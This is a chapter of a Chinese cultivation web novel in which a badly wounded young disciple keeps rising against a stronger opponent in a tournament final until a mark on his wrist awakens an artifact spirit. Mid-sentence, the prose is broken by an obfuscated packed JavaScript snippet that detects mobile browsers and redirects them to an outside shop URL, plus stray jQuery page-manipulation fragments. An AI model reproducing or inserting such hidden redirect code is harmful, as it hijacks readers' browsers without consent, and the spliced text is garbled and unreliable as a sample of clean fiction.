决赛的擂台设在主峰演武场。
天还没亮透，台下已经挤满了人。弟子们三五成群，议论声嗡嗡的，像一群被捅了窝的马蜂。有人靠在栏杆上嗑着瓜子，有人蹲在台阶上啃着灵果，还有人踮着脚尖往擂台方向张望，嘴里念叨着什么。
沈墨渊站在入场口，低着头，右拳上缠着的布条已经被血浸透了，暗红色的，像一块破抹布。他身上的伤还没好，骨裂处隐隐作痛，灵气也只恢复了不到三成。
但他还是来了。
铁牛站在他身后，张了张嘴，想说点什么，又咽了回去。他搓着那双粗糙的大手，指甲缝里还嵌着泥垢，半天才闷声闷气地挤出一句：“俺……俺在台下看着你。”
沈墨渊没回头，只是点了点头。
“别死了。”铁牛又说，声音有点哑。
沈墨渊没回答。
他抬起头，看向擂台。
擂台中央站着一个男人——楚寒。筑基期三层，核心弟子，萧衍的亲传。他穿着一件黑色的劲装，腰间系着一条银色腰带，整个人像一柄没有出鞘的重剑，站在那里，不动如山。他的目光扫过台下，没有停留，像在看一群蝼蚁。
楚寒甚至没有看沈墨渊。
长老席上，萧衍端坐着，手里端着一杯灵茶，嘴角带着一丝若有若无的笑。他没有说话，但那笑容已经说明了一切——今天，沈墨渊走不下这个擂台。
沈墨渊深吸一口气，抬脚，走上擂台。
他每走一步，骨裂处就传来一阵刺痛，像有人拿针在骨头缝里搅。但他没有停下，一步一步，走到擂台中央，站在楚寒对面。
台下安静了一瞬，然后爆发出更大的议论声。
“就他？炼气期？”
“废灵根一个，能走到决赛已经是烧高香了。”
“听说云澈是故意认输的，就为了看这小子出丑。”
“出丑？我看是送死。”
沈墨渊听着那些声音，没有动。
楚寒终于看了他一眼。
那眼神很淡，像在看一只不小心爬到擂台上的蚂蚁。楚寒的嘴角动了动，说：“你认输吧，我不想浪费时间。”
沈墨渊没说话。
他握紧右拳，骨裂处传来一阵剧痛，痛得他额头冒汗。但他没有松开。
楚寒皱起眉头，似乎有些不耐烦了。
“不识好歹。”
话音未落，楚寒出手了。
筑基期三层的灵气如潮水般涌出，带着一股令人窒息的压迫感。空气仿佛都凝固了，台下的议论声戛然而止，所有人都瞪大了眼睛。
沈墨渊瞳孔一缩。
太快了。
他连反应的时间都没有，楚寒的身影已经出现在他面前，一拳轰出。
那一拳没有任何技巧，就是纯粹的灵气碾压。筑基期三层的灵气凝聚在拳头上，像一柄重锤，带着呼啸的风声，直轰向沈墨渊的胸口。
沈墨渊本能地抬起双臂格挡。
“砰！”
一声闷响。
沈墨渊整个人被轰飞出去，像一只断了线的风筝，在空中划过一道弧线，重重地摔在擂台的边缘。他滚了两圈，撞上擂台边缘的石柱，才停下来。
“噗——”
一口鲜血喷出来，洒在青石板上。
沈墨渊感觉自己的胸口像被一头妖兽撞了一下，肋骨处传来一阵撕裂般的剧痛。他低头看了一眼，胸口塌下去一小块——至少断了两根肋骨。
台下一片唏嘘。
“一招就废了。”
“我就说嘛，废灵根就是废灵根，再怎么蹦跶也还是废物。”
“能撑到现在已经是奇迹了。”
沈墨渊趴在地上，耳朵里嗡嗡作响，血顺着嘴角流下来，滴在青石板上。他能听到台下的嘲笑声，能听到有人在喊“下去吧”，能听到铁牛在人群中喊他的名字，声音很急，像要哭出来一样。
他撑着地面，慢慢爬起来。
右臂在发抖，骨裂处疼得他眼前一阵阵发黑。但他没有倒下，摇摇晃晃地站起来，用左手擦了擦嘴角的血，然后抬起头，看着楚寒。
楚寒皱起眉头。
“你还能打？”
沈墨渊咧嘴一笑。
那笑容很难看，牙齿上沾满了血，嘴角扯动时牵动了脸上的伤口，疼得他倒吸一口凉气。但他还是笑着，说：“能。”
台下一片寂静。
楚寒没有说话，只是看着沈墨渊，眼神里多了一丝说不清的东西。他沉默了片刻，然后说：“那再来。”
这一次，楚寒没有用拳，而是抬手，凝聚出一道剑气。
剑气在阳光下泛着冷光，带着一股凌厉的杀意。楚寒随手一挥，剑气破空而出，直射向沈墨渊的胸口。
沈墨渊没有躲。
他躲不开。
剑气太快了，快到他连闪避的念头都来不及升起。他只能咬牙，将全身仅剩的灵气凝聚在右拳上，一拳轰出。
“轰！”
拳剑碰撞，发出一声巨响。
沈墨渊再次被震飞，右拳上的布条被剑气撕裂，鲜血飞溅。他摔在地上，滚了两圈，右臂上多了一道深可见骨的伤口，血像小溪一样往外淌。
但他又爬起来了。
第三次。
楚寒的眉头皱得更紧了。
他再次出手，这一次是一掌，掌风凌厉，带着筑基期三层的灵气，像一座山一样压向沈墨渊。
沈墨渊被拍在地上，背上的衣服被掌风撕裂，皮肤上留下一道道血痕。他趴在地上，大口大口地喘着粗气，血从嘴里涌出来，染红了青石板。
但他又爬起来了。
第四次。
第五次。
第六次。
沈墨渊一次又一次地倒下，一次又一次地爬起来。他的衣服已经被血浸透了，浑身上下没有一处完好的地方。右臂上的伤口深可见骨，左腿也被剑气划开一道口子，走路时一瘸一拐的。
但他依然站着。
台下的议论声渐渐小了。
没有人再笑了。
所有人都看着擂台上那个浑身是血的少年，看着他一次又一次地倒下，一次又一次地爬起来。有人张了张嘴，想说什么，又咽了回去。有人低下头，不敢再看。
楚寒停手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17570360|204904||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了。
他站在擂台中央，看着沈墨渊，沉默了很久。
“你认输吧，”楚寒说，声音比刚才低了一些，“我不想杀你。”
沈墨渊站在擂台边缘，浑身是血，右臂垂在身侧，血顺着指尖滴落，在青石板上汇成一条细细的红色小溪。他抬起头，看着楚寒，咧嘴一笑。
那笑容很惨，嘴角扯动时牵动了脸上的伤口，鲜血顺着下巴滴落。但他的眼睛里，却亮着一股光。
“认输？”
他顿了顿，然后一字一字地说：“我沈墨渊的字典里，没有认输两个字。”
楚寒沉默了。
他看着沈墨渊，看着那双眼睛，忽然觉得有些恍惚。他见过很多人——天才，废物，懦夫，勇士——但他从没见过一个人，被打成这样，还能笑得出来。
楚寒深吸一口气，说：“那好。”
他抬手，掌心凝聚出一道比之前更强的剑气。剑气在阳光下泛着刺目的白光，带着一股令人窒息的压迫感。空气仿佛都凝固了，台下的所有人都屏住了呼吸。
“这一剑，我不会留手。”
沈墨渊看着那道剑气，没有动。
他已经没有力气了。灵气彻底枯竭，身体也到了极限。骨裂处疼得他几乎站不稳，右臂上的伤口还在流血，左腿也在发抖。
但他没有倒下。
他抬起头，看着那道剑气，忽然想起了很多事。
想起铁牛在灵兽山替他挡拳头的样子，想起木青萝递给他凝血草时说的那句“活着比什么都重要”，想起白素衣将注释纸塞给他时那沉默的眼神，想起叶无道挡在他身前被剑气击飞时的背影。
最后，他想起器灵沉睡前的那个声音。
“小子，谁准你放弃了？”
他低声说：“对不起……我好像……撑不住了……”
话音刚落，剑气破空而来。
沈墨渊闭上了眼睛。
就在这时——
他右手腕上的印记突然爆发出刺目的红光。
红光冲天而起，像一道血色的光柱，将整个演武场笼罩其中。空气在那一瞬间凝固了，所有人的呼吸都被压住了，连楚寒的剑气都在半空中顿了一顿。
一个声音在沈墨渊脑海中炸响，像惊雷一样，震得他浑身一颤。
“小子，谁准你放弃了！”
沈墨渊猛地睁开眼睛。
红光中，他看见右手腕上的印记在发光，那光芒刺目得让人睁不开眼。印记上的符文像活过来一样，一圈一圈地旋转，散发出一种古老而强大的气息。
楚寒的剑气在半空中停住了。
楚寒瞪大了眼睛，看着沈墨渊右手腕上那道刺目的红光，瞳孔猛地一缩。
“这是……”
台下，长老席上，萧衍猛地站起来，手里的茶杯“啪”一声摔在地上，碎成几片。
他死死盯着沈墨渊右手腕上的红光，脸色变了。
“器灵苏醒？！”
沈墨渊站在红光中，浑身是血，但那双眼睛却亮得像两团火。
他抬起头，看着楚寒，咧嘴一笑。
“再来。”